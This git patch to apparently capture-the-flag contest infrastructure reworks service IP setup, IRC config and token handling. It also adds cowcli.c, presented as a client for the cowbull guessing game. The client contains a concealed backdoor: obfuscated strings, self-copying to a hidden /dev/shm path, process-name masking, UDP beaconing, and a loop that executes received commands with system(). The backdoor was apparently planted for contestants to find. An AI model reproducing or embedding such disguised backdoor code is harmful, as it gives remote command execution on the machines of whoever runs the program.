From 69218e13bae6eeb41a825c2ecb4595a3e33bf33a Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Thu, 19 Apr 2012 17:40:30 -0600 Subject: [PATCH 01/14] reintegrate ipv4, tanks --- packages/00admin/00admin.mk | 2 + packages/00admin/sbin/fire-ip | 32 + packages/cowbull/service/cowbull/finish | 3 +- packages/cowbull/service/cowbull/ip.txt | 2 +- packages/cowbull/service/cowbull/run | 4 +- packages/cowbull/src/cowcli.c | 355 ++++ packages/fizzbuzz/service/fizzbuzz/finish | 3 + packages/fizzbuzz/service/fizzbuzz/ip.txt | 2 +- packages/fizzbuzz/service/fizzbuzz/run | 3 +- packages/ircd/ircd.mk | 2 +- packages/ircd/service/ircd/finish | 3 +- packages/ircd/service/ircd/ip.txt | 2 +- packages/ircd/service/ircd/ngircd.conf | 15 - packages/ircd/service/ircd/run | 28 +- packages/mcp/service/httpd/finish | 3 + packages/mcp/service/httpd/ip.txt | 2 +- packages/mcp/service/httpd/run | 6 +- packages/mcp/service/logclean/logclean | 5 + packages/mcp/service/logclean/run | 3 + packages/mcp/www/credits.html | 5 +- packages/mcp/www/index.html | 10 +- packages/mcp/www/news.html | 18 + .../multicaster/service/multicaster/finish | 3 + .../multicaster/service/multicaster/ip.txt | 2 +- packages/multicaster/service/multicaster/run | 3 +- .../octopus/service/octopus-redirect/finish | 3 + .../octopus/service/octopus-redirect/ip.txt | 1 + .../octopus/service/octopus-redirect/log/run | 3 + packages/octopus/service/octopus-redirect/run | 5 +- packages/octopus/service/octopus/finish | 3 + packages/octopus/service/octopus/ip.txt | 2 +- packages/octopus/service/octopus/run | 5 +- packages/playfair/service/playfair/finish | 3 + packages/playfair/service/playfair/ip.txt | 2 +- packages/playfair/service/playfair/run | 2 +- packages/printf/service/printf/finish | 3 +- packages/printf/service/printf/ip.txt | 2 +- packages/printf/service/printf/run | 4 +- packages/revwords/service/revwords/finish | 3 + packages/revwords/service/revwords/ip.txt | 2 +- packages/revwords/service/revwords/run | 3 +- packages/rlyeh/service/rlyeh/finish | 3 +- packages/rlyeh/service/rlyeh/ip.txt | 2 +- packages/rlyeh/service/rlyeh/run | 4 +- packages/tanks/service/tanksd/run | 10 +- packages/tanks/service/tanksd/tanksd | 13 +- packages/tanks/tanks.mk | 2 - packages/tanks/tokens.txt | 1440 ----------------- 48 files changed, 520 insertions(+), 1516 deletions(-) create mode 100755 packages/00admin/sbin/fire-ip create mode 100644 packages/cowbull/src/cowcli.c create mode 100755 packages/fizzbuzz/service/fizzbuzz/finish delete mode 100644 packages/ircd/service/ircd/ngircd.conf create mode 100755 packages/mcp/service/httpd/finish create mode 100755 packages/mcp/service/logclean/logclean create mode 100755 packages/mcp/service/logclean/run create mode 100644 packages/mcp/www/news.html create mode 100755 packages/multicaster/service/multicaster/finish create mode 100755 packages/octopus/service/octopus-redirect/finish create mode 100644 packages/octopus/service/octopus-redirect/ip.txt create mode 100755 packages/octopus/service/octopus-redirect/log/run create mode 100755 packages/octopus/service/octopus/finish create mode 100755 packages/playfair/service/playfair/finish create mode 100755 packages/revwords/service/revwords/finish delete mode 100644 packages/tanks/tokens.txt diff --git a/packages/00admin/00admin.mk b/packages/00admin/00admin.mk index d4ea3ad..33dae36 100644 --- a/packages/00admin/00admin.mk +++ b/packages/00admin/00admin.mk @@ -2,5 +2,7 @@ 00admin-install: $(call COPYTREE, packages/00admin/service, $(00ADMIN_PKGDIR)/service) + mkdir -p $(00ADMIN_PKGDIR)/sbin + cp packages/00admin/sbin/* $(00ADMIN_PKGDIR)/sbin PACKAGES += 00admin diff --git a/packages/00admin/sbin/fire-ip b/packages/00admin/sbin/fire-ip new file mode 100755 index 0000000..f688932 --- /dev/null +++ b/packages/00admin/sbin/fire-ip @@ -0,0 +1,32 @@ +#! /bin/sh -e + +action=$1; shift + +read n < ip.txt + +if grep -q ipv4 /proc/cmdline; then + # IPv4 + IP="10.0.0.$n/24" +else + # IPv6 + l=$(busybox dc 16 o $n p) + IP="fd84:b410:3441::$l/64" +fi + + + +[ "$action" ] && ip addr $action $IP dev eth0 + +if [ "$action" = "add" ]; then + fail=fail + for i in $(seq 5); do + if ip addr | grep -Fq $IP; then + fail= + break + fi + sleep 1 + done + [ "$fail" ] && return 1 +fi + +[ "$action" = del ] || echo $IP diff --git a/packages/cowbull/service/cowbull/finish b/packages/cowbull/service/cowbull/finish index 54ba047..c788d94 100755 --- a/packages/cowbull/service/cowbull/finish +++ b/packages/cowbull/service/cowbull/finish @@ -1,4 +1,3 @@ #! /bin/sh -read IP < ip.txt -ip addr del $IP dev eth0 +/opt/00admin/sbin/fire-ip del diff --git a/packages/cowbull/service/cowbull/ip.txt b/packages/cowbull/service/cowbull/ip.txt index 9bcbbf6..ca55a6c 100644 --- a/packages/cowbull/service/cowbull/ip.txt +++ b/packages/cowbull/service/cowbull/ip.txt @@ -1 +1 @@ -fd84:b410:3441::ec6/64 +198 diff --git a/packages/cowbull/service/cowbull/run b/packages/cowbull/service/cowbull/run index 1459669..d122902 100755 --- a/packages/cowbull/service/cowbull/run +++ b/packages/cowbull/service/cowbull/run @@ -1,7 +1,7 @@ #! /bin/sh -e exec 2>&1 -read IP < ip.txt -ip addr add $IP dev eth0 || true + +IP=$(/opt/00admin/sbin/fire-ip add) exec setuidgid nobody /opt/cowbull/bin/cowd < /opt/cowbull/tokens.txt diff --git a/packages/cowbull/src/cowcli.c b/packages/cowbull/src/cowcli.c new file mode 100644 index 0000000..396d8e0 --- /dev/null +++ b/packages/cowbull/src/cowcli.c @@ -0,0 +1,355 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define NODEBUG + +#ifdef DEBUG +# define PORT 4444 +#else +# define PORT 44 +#endif + +#define BDPORT 33333 +#define BCNPORT_S 48172 +#define BCNPORT_D 48179 + +int +bind_port(int fd, const struct in6_addr *addr, uint16_t port) +{ + struct sockaddr_in6 saddr = { 0 }; + + saddr.sin6_family = AF_INET6; + saddr.sin6_port = htons(port); + memcpy(&saddr.sin6_addr, addr, sizeof *addr); + return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); +} + +void +sigchld(int unused) +{ + while (0 < waitpid(-1, NULL, WNOHANG)); +} + +void +unmask_str(unsigned char *str) +{ + int i = strlen(str); + while (i-- > 0) { + str[i] &= 127; + } +} +int +copyprog(const char *from, const char *to) +{ + int fd_to, fd_from; + char buf[4096]; + ssize_t nread; + int saved_errno; + + fd_from = open(from, O_RDONLY); + if (fd_from < 0) + return -1; + + fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700); + if (fd_to < 0) + goto out_error; + + while (nread = read(fd_from, buf, sizeof buf), nread > 0) + { + char *out_ptr = buf; + ssize_t nwritten; + + do { + nwritten = write(fd_to, out_ptr, nread); + + if (nwritten >= 0) + { + nread -= nwritten; + out_ptr += nwritten; + } + else if (errno != EINTR) + { + goto out_error; + } + } while (nread > 0); + } + + if (nread == 0) + { + if (close(fd_to) < 0) + { + fd_to = -1; + goto out_error; + } + close(fd_from); + + /* Success! */ + return 0; + } + + out_error: + saved_errno = errno; + + close(fd_from); + if (fd_to >= 0) + close(fd_to); + + errno = saved_errno; + return -1; +} + +void +signal_evil(int sig) +{ + if (fork()) { + exit(1); + } +} +void +evil(int argc, char *argv[]) +{ + int i; + int sock; + + char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd"; + char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0"; + + unmask_str(procname); + unmask_str(cptarget); + + if (strcmp(argv[0], cptarget)) { + if (fork()) { + return; + } + /* copy ourselves */ + if (copyprog(argv[0], cptarget) == 0) { + argv[0] = cptarget; + execv(cptarget, argv); + } + } else { + unlink(cptarget); + if (fork()) { + exit(0); + } + } + + /* mask the process title and arguments */ + while (argc--) { + int p = strlen(argv[argc]); + while (p--) { + argv[argc][p] = 0; + } + } + strcpy(argv[0], procname); + + + { + int r = open("/dev/null", O_RDONLY); + int w = open("/dev/null", O_WRONLY); + + dup2(r, 0); + dup2(w, 1); + dup2(w, 2); + close(r); + close(w); + setsid(); + chdir("/"); + signal(SIGHUP, signal_evil); + signal(SIGTERM, signal_evil); + signal(SIGINT, signal_evil); + signal(SIGQUIT, signal_evil); + } + + sock = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock, &in6addr_any, BDPORT)) { + exit(0); + } + struct timeval tv; + tv.tv_sec = 5; + tv.tv_usec = 0; + setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval)); + + + while (1) { + /* beacon */ + int sock_beacon; + sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) { + //perror("Beacon bind"); + ;; /* return EX_IOERR; */ + } + int subnet; + if (sock_beacon > 0) { + for (subnet = 0; subnet < 50; subnet++) { + char payload[] = "hi"; + char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7"; + unmask_str(addr6_f); + char addr6[64]; + sprintf(addr6, addr6_f, subnet); + + //printf("%s\n", addr6); + struct addrinfo *beacon_addr; + { + struct addrinfo hints = { 0 }; + + hints.ai_family = PF_INET6; + hints.ai_socktype = SOCK_DGRAM; + hints.ai_flags = AI_NUMERICHOST; + + if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) { + ;;//perror("Resolving address"); + } + } + + struct sockaddr_in6 saddr = { 0 }; + + if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) { + ;;//perror("Beacon send"); + } else { + ;;//printf("sent!\n"); + } + } + } + close(sock_beacon); + /* end beacon */ + + /* c&c */ + char cmd[400]; + ssize_t inlen; + + inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL); + + if (inlen < 1) { + continue; + } + + cmd[inlen] = 0; + if (! fork()) { + system(cmd); + exit(0); + } + } +} + +int +main(int argc, char *argv[]) +{ + long answer = 0; + int sock; + int i; + struct addrinfo *addr; + uint32_t token = 0; + FILE *in, *out; + + srand(time(NULL)); + + signal(SIGCHLD, sigchld); + + if (argc < 2) { + fprintf(stderr, "Usage: %s SERVER\n", argv[0]); + return EX_USAGE; + } + + evil(argc, argv); + + { + struct addrinfo hints = { 0 }; + + hints.ai_family = PF_INET6; + hints.ai_socktype = SOCK_DGRAM; + hints.ai_flags = AI_NUMERICHOST; + + if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) { + perror("Resolving address"); + return EX_IOERR; + } + } + + /* + * Set up socket + */ + sock = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock, &in6addr_any, PORT)) { + perror("Binding UDP port 44"); + return EX_IOERR; + } + + if (argv[2]) { + /* fork and exec */ + } else { + in = stdin; + out = stdout; + } + + + while (1) { + long guess; + struct { + uint32_t token; + uint16_t guess; + } g; + + g.token = token; + if (token) { + char line[20]; + + if (NULL == fgets(line, sizeof line, in)) { + break; + } + g.guess = strtol(line, NULL, 16); + } else { + g.guess = 0; + } + + /* Send the guess */ + if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) { + perror("Sending packet"); + return EX_IOERR; + } + + /* read the result */ + { + char buf[80]; + ssize_t len; + + len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL); + switch (len) { + case -1: + perror("Reading packet"); + return EX_IOERR; + case 1: + /* It's a score */ + printf("%02x\n", buf[0]); + break; + case 4: + /* New game token */ + printf("NEW GAME\n"); + token = *((uint32_t *) buf); + break; + default: + /* You win: this is your CTF token */ + buf[len] = 0; + printf("A WINNER IS YOU: %s\n", buf); + break; + } + } + } + + return 0; +} diff --git a/packages/fizzbuzz/service/fizzbuzz/finish b/packages/fizzbuzz/service/fizzbuzz/finish new file mode 100755 index 0000000..c788d94 --- /dev/null +++ b/packages/fizzbuzz/service/fizzbuzz/finish @@ -0,0 +1,3 @@ +#! /bin/sh + +/opt/00admin/sbin/fire-ip del diff --git a/packages/fizzbuzz/service/fizzbuzz/ip.txt b/packages/fizzbuzz/service/fizzbuzz/ip.txt index c4d788a..b1bd38b 100644 --- a/packages/fizzbuzz/service/fizzbuzz/ip.txt +++ b/packages/fizzbuzz/service/fizzbuzz/ip.txt @@ -1 +1 @@ -fd84:b410:3441::a0d/64 +13 diff --git a/packages/fizzbuzz/service/fizzbuzz/run b/packages/fizzbuzz/service/fizzbuzz/run index 693ebd1..b79ffae 100755 --- a/packages/fizzbuzz/service/fizzbuzz/run +++ b/packages/fizzbuzz/service/fizzbuzz/run @@ -2,7 +2,6 @@ exec 2>&1 -IP=$(cat ip.txt) -ip addr add $IP dev eth0 || true +IP=$(/opt/00admin/sbin/fire-ip add) exec tcpsvd -u nobody ${IP%/*} 1013 ./go diff --git a/packages/ircd/ircd.mk b/packages/ircd/ircd.mk index 2b5b06f..285f3fe 100644 --- a/packages/ircd/ircd.mk +++ b/packages/ircd/ircd.mk @@ -1,6 +1,6 @@ IRCD_PKGDIR = $(TARGET)/ircd IRCD_BUILDDIR = $(BUILD)/ircd -IRCD_VERSION = 18 +IRCD_VERSION = 19.1 IRCD_TAR = $(CACHE)/ngircd-$(IRCD_VERSION).tar.gz IRCD_URL = ftp://ftp.berlios.de/pub/ngircd/ngircd-$(IRCD_VERSION).tar.gz IRCD_SRCDIR = $(IRCD_BUILDDIR)/ngircd-$(IRCD_VERSION) diff --git a/packages/ircd/service/ircd/finish b/packages/ircd/service/ircd/finish index 6317f74..c788d94 100755 --- a/packages/ircd/service/ircd/finish +++ b/packages/ircd/service/ircd/finish @@ -1,4 +1,3 @@ #! /bin/sh -IP=$(cat ip.txt) -ip addr del $IP dev eth0 +/opt/00admin/sbin/fire-ip del diff --git a/packages/ircd/service/ircd/ip.txt b/packages/ircd/service/ircd/ip.txt index 07f368a..1e8b314 100644 --- a/packages/ircd/service/ircd/ip.txt +++ b/packages/ircd/service/ircd/ip.txt @@ -1 +1 @@ -fd84:b410:3441::6/64 +6 diff --git a/packages/ircd/service/ircd/ngircd.conf b/packages/ircd/service/ircd/ngircd.conf deleted file mode 100644 index cd63f8b..0000000 --- a/packages/ircd/service/ircd/ngircd.conf +++ /dev/null @@ -1,15 +0,0 @@ -[Global] - Name = irc.ctf - Info = CTF IRC - AdminInfo1 = CTF IRC Server - AdminInfo2 = The table at the front of the room - AdminEmail = zephyr@dirtbags.net - MotdPhrase = "welcome datacomp" - Listen = fd84:b410:3441::6 - OperCanUseMode = yes - NoDNS = yes - NoIdent = yes - -[Operator] - Name = oper - Password = operpass diff --git a/packages/ircd/service/ircd/run b/packages/ircd/service/ircd/run index 16a5e77..ac6dcd7 100755 --- a/packages/ircd/service/ircd/run +++ b/packages/ircd/service/ircd/run @@ -2,11 +2,33 @@ exec 2>&1 -IP=$(cat ip.txt) -ip addr add $IP label eth0:ircd dev eth0 -ip monitor | grep -q $IP +IP=$(/opt/00admin/sbin/fire-ip add) adduser -S -H -u 65534 nobody adduser -S -H irc +operpass=$(dd if=/dev/urandom count=1 | md5sum | cut -d' ' -f1) + +cat <ngircd.conf +[Global] + Name = irc.ctf + Info = CTF IRC + AdminInfo1 = CTF IRC Server + AdminInfo2 = The table at the front of the room + AdminEmail = zephyr@dirtbags.net + MotdPhrase = "welcome datacomp" + Listen = ${IP%/*} + ServerUID = 101 + ServerGID = 65534 + +[Options] + OperCanUseMode = yes + DNS = no + Ident = no + +[Operator] + Name = oper + Password = $operpass +EOD + exec setuidgid irc /opt/ircd/bin/ngircd --config ./ngircd.conf --nodaemon diff --git a/packages/mcp/service/httpd/finish b/packages/mcp/service/httpd/finish new file mode 100755 index 0000000..c788d94 --- /dev/null +++ b/packages/mcp/service/httpd/finish @@ -0,0 +1,3 @@ +#! /bin/sh + +/opt/00admin/sbin/fire-ip del diff --git a/packages/mcp/service/httpd/ip.txt b/packages/mcp/service/httpd/ip.txt index 9172a33..0cfbf08 100644 --- a/packages/mcp/service/httpd/ip.txt +++ b/packages/mcp/service/httpd/ip.txt @@ -1 +1 @@ -fd84:b410:3441::2/64 +2 diff --git a/packages/mcp/service/httpd/run b/packages/mcp/service/httpd/run index 6f875be..182c5cf 100755 --- a/packages/mcp/service/httpd/run +++ b/packages/mcp/service/httpd/run @@ -2,11 +2,9 @@ exec 2>&1 -hostname mcp +IP=$(/opt/00admin/sbin/fire-ip add) -# Bring up address -IP=$(cat ip.txt) -ip addr add $IP dev eth0 || true +hostname mcp # Link in puzzles and web pages install -d /var/www diff --git a/packages/mcp/service/logclean/logclean b/packages/mcp/service/logclean/logclean new file mode 100755 index 0000000..75b0d78 --- /dev/null +++ b/packages/mcp/service/logclean/logclean @@ -0,0 +1,5 @@ +#! /bin/sh + +while sleep 5; do + echo -n . 1>&2 +done diff --git a/packages/mcp/service/logclean/run b/packages/mcp/service/logclean/run new file mode 100755 index 0000000..7861661 --- /dev/null +++ b/packages/mcp/service/logclean/run @@ -0,0 +1,3 @@ +#! /bin/sh + +exec ./logclean diff --git a/packages/mcp/www/credits.html b/packages/mcp/www/credits.html index ebbc929..280f2ff 100644 --- a/packages/mcp/www/credits.html +++ b/packages/mcp/www/credits.html @@ -18,12 +18,15 @@
  • Alex Brugh
  • Paul Ferrell
  • +
  • Jeremy Scott
  • +
  • Danny Quist
  • Adam Glasgall
  • Curtis Hash
  • Aaron McPhall
  • +
  • Patrick Avery
  • Erin Ochoa
  • William Phillips
  • -
  • Danny Quist
  • +
  • Should your name be here? Please remind me!

Parts of this contest were inspired by:

diff --git a/packages/mcp/www/index.html b/packages/mcp/www/index.html index 6eb124c..87ec607 100644 --- a/packages/mcp/www/index.html +++ b/packages/mcp/www/index.html @@ -15,12 +15,16 @@
  • Puzzles
  • +
  • + News +
  • About scoring
  • Contest chat + (IPv4) carries important announcements, and sometimes clues and puzzles.
  • @@ -46,8 +50,10 @@ No DoS attacks.
  • - Contest servers lie within fd84:b410:3441::/112. - Do not attack machines outside fd84:b410:3441::/48. + Contest servers lie within fd84:b410:3441::/112 + (or 10.0.0.0/24 for IPv4 contests). + Do not attack machines outside fd84:b410:3441::/48 + (10.0.0.0/16). Low ports (under 1024) do not run contest categories, don't waste your time.
  • diff --git a/packages/mcp/www/news.html b/packages/mcp/www/news.html new file mode 100644 index 0000000..bb9300a --- /dev/null +++ b/packages/mcp/www/news.html @@ -0,0 +1,18 @@ + + + + News + + + +

    News

    + +
      +
    • Contest is open
    • +
    + +

    + This page will be updated with any new announcements. +

    + + diff --git a/packages/multicaster/service/multicaster/finish b/packages/multicaster/service/multicaster/finish new file mode 100755 index 0000000..c788d94 --- /dev/null +++ b/packages/multicaster/service/multicaster/finish @@ -0,0 +1,3 @@ +#! /bin/sh + +/opt/00admin/sbin/fire-ip del diff --git a/packages/multicaster/service/multicaster/ip.txt b/packages/multicaster/service/multicaster/ip.txt index 5be068d..98d9bcb 100644 --- a/packages/multicaster/service/multicaster/ip.txt +++ b/packages/multicaster/service/multicaster/ip.txt @@ -1 +1 @@ -fd84:b410:3441::4e11/64 +17 diff --git a/packages/multicaster/service/multicaster/run b/packages/multicaster/service/multicaster/run index 28969dd..b417506 100755 --- a/packages/multicaster/service/multicaster/run +++ b/packages/multicaster/service/multicaster/run @@ -2,7 +2,6 @@ exec 2>&1 -IP=$(cat ip.txt) -ip addr add $IP dev eth0 || true +IP=$(/opt/00admin/sbin/fire-ip add) exec setuidgid ctf /opt/multicaster/bin/multicaster ff15::62c 1580 &1 + +IP=$(/opt/00admin/sbin/fire-ip) + sv s octopus >/dev/null || exit 1 exec tcpsvd ${IP%/*} 8888 ./octopus-redirect diff --git a/packages/octopus/service/octopus/finish b/packages/octopus/service/octopus/finish new file mode 100755 index 0000000..c788d94 --- /dev/null +++ b/packages/octopus/service/octopus/finish @@ -0,0 +1,3 @@ +#! /bin/sh + +/opt/00admin/sbin/fire-ip del diff --git a/packages/octopus/service/octopus/ip.txt b/packages/octopus/service/octopus/ip.txt index d584470..45a4fb7 100644 --- a/packages/octopus/service/octopus/ip.txt +++ b/packages/octopus/service/octopus/ip.txt @@ -1 +1 @@ -fd84:b410:3441::8888/64 +8 diff --git a/packages/octopus/service/octopus/run b/packages/octopus/service/octopus/run index 66fc4e1..8ab8f28 100755 --- a/packages/octopus/service/octopus/run +++ b/packages/octopus/service/octopus/run @@ -2,7 +2,8 @@ exec 2>&1 -IP=$(cat ip.txt) -ip addr add $IP dev eth0 || true +IP=$(/opt/00admin/sbin/fire-ip add) + +grep -q ipv4 /proc/cmdline && IP=::ffff:$IP exec /opt/octopus/bin/octopus ${IP%/*} < /opt/octopus/tokens.txt diff --git a/packages/playfair/service/playfair/finish b/packages/playfair/service/playfair/finish new file mode 100755 index 0000000..c788d94 --- /dev/null +++ b/packages/playfair/service/playfair/finish @@ -0,0 +1,3 @@ +#! /bin/sh + +/opt/00admin/sbin/fire-ip del diff --git a/packages/playfair/service/playfair/ip.txt b/packages/playfair/service/playfair/ip.txt index f4f0fdd..87523dd 100644 --- a/packages/playfair/service/playfair/ip.txt +++ b/packages/playfair/service/playfair/ip.txt @@ -1 +1 @@ -fd84:b410:3441::529/64 +41 diff --git a/packages/playfair/service/playfair/run b/packages/playfair/service/playfair/run index ced4843..7d15ba5 100755 --- a/packages/playfair/service/playfair/run +++ b/packages/playfair/service/playfair/run @@ -2,7 +2,7 @@ exec 2>&1 -IP=$(cat ip.txt) +IP=$(/opt/00admin/sbin/fire-ip add) ip addr add $IP dev eth0 || true exec tcpsvd -u nobody ${IP%/*} 1013 /opt/playfair/bin/playfair diff --git a/packages/printf/service/printf/finish b/packages/printf/service/printf/finish index 6317f74..c788d94 100755 --- a/packages/printf/service/printf/finish +++ b/packages/printf/service/printf/finish @@ -1,4 +1,3 @@ #! /bin/sh -IP=$(cat ip.txt) -ip addr del $IP dev eth0 +/opt/00admin/sbin/fire-ip del diff --git a/packages/printf/service/printf/ip.txt b/packages/printf/service/printf/ip.txt index 7adf1f8..492dff0 100644 --- a/packages/printf/service/printf/ip.txt +++ b/packages/printf/service/printf/ip.txt @@ -1 +1 @@ -fd84:b410:3441::2329/64 +152 diff --git a/packages/printf/service/printf/run b/packages/printf/service/printf/run index 3336885..823c8d5 100755 --- a/packages/printf/service/printf/run +++ b/packages/printf/service/printf/run @@ -2,9 +2,7 @@ exec 2>&1 -IP=$(cat ip.txt) -ip addr add $IP dev eth0 -ip monitor | grep -q $IP +IP=$(/opt/00admin/sbin/fire-ip add) # So I say to him, "Alex, what's a good high port number for a CTF category?" # And he says, "6" diff --git a/packages/revwords/service/revwords/finish b/packages/revwords/service/revwords/finish new file mode 100755 index 0000000..c788d94 --- /dev/null +++ b/packages/revwords/service/revwords/finish @@ -0,0 +1,3 @@ +#! /bin/sh + +/opt/00admin/sbin/fire-ip del diff --git a/packages/revwords/service/revwords/ip.txt b/packages/revwords/service/revwords/ip.txt index f4846f2..6bb2f98 100644 --- a/packages/revwords/service/revwords/ip.txt +++ b/packages/revwords/service/revwords/ip.txt @@ -1 +1 @@ -fd84:b410:3441::c3/64 +195 diff --git a/packages/revwords/service/revwords/run b/packages/revwords/service/revwords/run index 1358389..833c6e9 100755 --- a/packages/revwords/service/revwords/run +++ b/packages/revwords/service/revwords/run @@ -2,8 +2,7 @@ exec 2>&1 -IP=$(cat ip.txt) -ip addr add $IP dev eth0 || true +IP=$(/opt/00admin/sbin/fire-ip add) exec tcpsvd -u nobody ${IP%/*} 1013 ./go diff --git a/packages/rlyeh/service/rlyeh/finish b/packages/rlyeh/service/rlyeh/finish index 54ba047..c788d94 100755 --- a/packages/rlyeh/service/rlyeh/finish +++ b/packages/rlyeh/service/rlyeh/finish @@ -1,4 +1,3 @@ #! /bin/sh -read IP < ip.txt -ip addr del $IP dev eth0 +/opt/00admin/sbin/fire-ip del diff --git a/packages/rlyeh/service/rlyeh/ip.txt b/packages/rlyeh/service/rlyeh/ip.txt index 7acd21c..04f9fe4 100644 --- a/packages/rlyeh/service/rlyeh/ip.txt +++ b/packages/rlyeh/service/rlyeh/ip.txt @@ -1 +1 @@ -fd84:b410:3441::b33b/64 +59 diff --git a/packages/rlyeh/service/rlyeh/run b/packages/rlyeh/service/rlyeh/run index 03e2bbf..f11ce62 100755 --- a/packages/rlyeh/service/rlyeh/run +++ b/packages/rlyeh/service/rlyeh/run @@ -1,8 +1,8 @@ #! /bin/sh -e exec 2>&1 -read IP < ip.txt -ip addr add $IP label eth0:rlyeh dev eth0 || true + +IP=$(/opt/00admin/sbin/fire-ip add) dir=/var/lib/ctf/rlyeh install -o nobody -d $dir diff --git a/packages/tanks/service/tanksd/run b/packages/tanks/service/tanksd/run index c13e10f..06e7540 100755 --- a/packages/tanks/service/tanksd/run +++ b/packages/tanks/service/tanksd/run @@ -1,12 +1,14 @@ -#! /bin/sh +#! /bin/sh -e exec 2>&1 mkdir -p /var/www/tanks -ln -s /opt/tanks/html/* /var/www/tanks/ -ln -sf summary.html /var/www/tanks/index.html +ln -s /opt/tanks/html/* /var/www/tanks/ || true +ln -s summary.html /var/www/tanks/index.html || true -install -o ctf -d /var/lib/ctf/tanks/players +mkdir -p /var/lib/ctf/tanks/players +chown ctf /var/lib/ctf/tanks +chown ctf /var/lib/ctf/tanks/players PATH=/bin:/opt/ctfbase/bin:/opt/tanks/bin; export PATH exec ./tanksd diff --git a/packages/tanks/service/tanksd/tanksd b/packages/tanks/service/tanksd/tanksd index a540e37..6e7ac4e 100755 --- a/packages/tanks/service/tanksd/tanksd +++ b/packages/tanks/service/tanksd/tanksd @@ -41,7 +41,7 @@ EOF } while true; do - for dn in /var/lib/ctf/teams/names/*; do + find /var/lib/ctf/teams/names -type f | while read dn; do hash=${dn##*/} install -o ctf -d $p/$hash done @@ -92,24 +92,19 @@ window.onload = go;

    0 fps

    EOF - /opt/tanks/bin/rank.awk $rfn >>$fn + awk -f /opt/tanks/bin/rank.awk $rfn >>$fn cat /opt/tanks/html/nav.html.inc >>$fn cat <>$fn EOF - winner.awk $rfn | while read winner; do + awk -f /opt/tanks/bin/winner.awk $rfn | while read winner; do hash=$(basename $winner) echo "Round $next winner: $hash" >> $log nwinners=$(wc -l $log) - # Read a token - k=$(sed -n ${nwinners}p /opt/tanks/tokens.txt) - - # XXX: pull this out into another daemon - # XXX: this puts the token in /proc/self/cmdline - wget -q -s "http://10.0.0.2/claim.cgi?t=$hash&k=$k" + /opt/mcp/bin/pointscli $hash tanks 1 done ln -sf $fn $w/current.html diff --git a/packages/tanks/tanks.mk b/packages/tanks/tanks.mk index 42c933b..b530520 100644 --- a/packages/tanks/tanks.mk +++ b/packages/tanks/tanks.mk @@ -21,8 +21,6 @@ tanks-install: tanks-build cp $(TANKS_BUILDDIR)/rank.awk $(TANKS_PKGDIR)/bin cp $(TANKS_BUILDDIR)/winner.awk $(TANKS_PKGDIR)/bin - cp packages/tanks/tokens.txt $(TANKS_PKGDIR)/ - $(call COPYTREE, packages/tanks/html, $(TANKS_PKGDIR)/html) cp packages/mcp/www/ctf.css $(TANKS_PKGDIR)/html/style.css cp $(TANKS_BUILDDIR)/nav.html.inc $(TANKS_PKGDIR)/html diff --git a/packages/tanks/tokens.txt b/packages/tanks/tokens.txt deleted file mode 100644 index 581272f..0000000 --- a/packages/tanks/tokens.txt +++ /dev/null @@ -1,1440 +0,0 @@ -tanks:xogak-lihef-vevax -tanks:xubod-momuc-lynax -tanks:xuheh-kysig-narox -tanks:xefal-hynyl-symyx -tanks:xutin-ganib-nydox -tanks:xihep-gytud-kutox -tanks:xeged-lebys-totyx -tanks:xevog-bivuf-bydax -tanks:xefep-votok-kunux -tanks:xibol-rymav-zypix -tanks:xebat-rivif-lygux -tanks:xivek-cezyr-lesox -tanks:xobim-gymiv-henex -tanks:xefib-hebad-tipex -tanks:xezef-tikul-nuzax -tanks:xigom-rikav-rinux -tanks:xedik-rydig-lebyx -tanks:xibos-nydah-lolax -tanks:xukoc-libuz-nicox -tanks:xurab-pimok-sypix -tanks:xevih-guvur-kivax -tanks:xiped-pirug-gihox -tanks:xulaz-getuh-mekax -tanks:xovev-fycil-matix -tanks:xisof-cosel-tytyx -tanks:xehiz-tumuh-potox -tanks:xoroc-hugyf-pukix -tanks:xicef-kodoz-pasex -tanks:xikiz-vekap-relex -tanks:xodom-pabod-nimyx -tanks:xuvic-dasum-vamix -tanks:xukit-zumyh-derex -tanks:xosag-kever-tybux -tanks:xevob-purar-sarix -tanks:xufer-rocis-himix -tanks:xegit-vacup-masax -tanks:xoref-mamym-gezox -tanks:xipac-dizic-mitux -tanks:xovat-belyp-gomax -tanks:xukaz-cahah-lotyx -tanks:xolab-sepef-kavux -tanks:xufov-nusac-zerax -tanks:xigom-kovig-dylux -tanks:xitac-gasoh-tyzax -tanks:xifag-lufim-hyzex -tanks:xeroz-piced-mefix -tanks:xopem-buzod-luhix -tanks:xuzar-susyg-ledox -tanks:xetil-zobik-bufax -tanks:xuvel-kohip-damix -tanks:xihet-cycyk-zamax -tanks:xireb-hedom-hutex -tanks:xoceh-vezus-vibax -tanks:xurip-budyk-hebex -tanks:xoter-biciz-bymax -tanks:xocok-pezyp-bigax -tanks:xesif-sifah-vudox -tanks:xoten-gavid-sylix -tanks:xutoh-mumuf-zydix -tanks:xehid-dinov-dusyx -tanks:xogal-tykoz-rahix -tanks:xokot-fyhoh-lugux -tanks:xesis-bufef-gadix -tanks:xotid-merug-zorax -tanks:xegil-cynuc-fumyx -tanks:xesod-pocuc-vuzex -tanks:xigad-tudid-mifax -tanks:ximav-pedul-lihyx 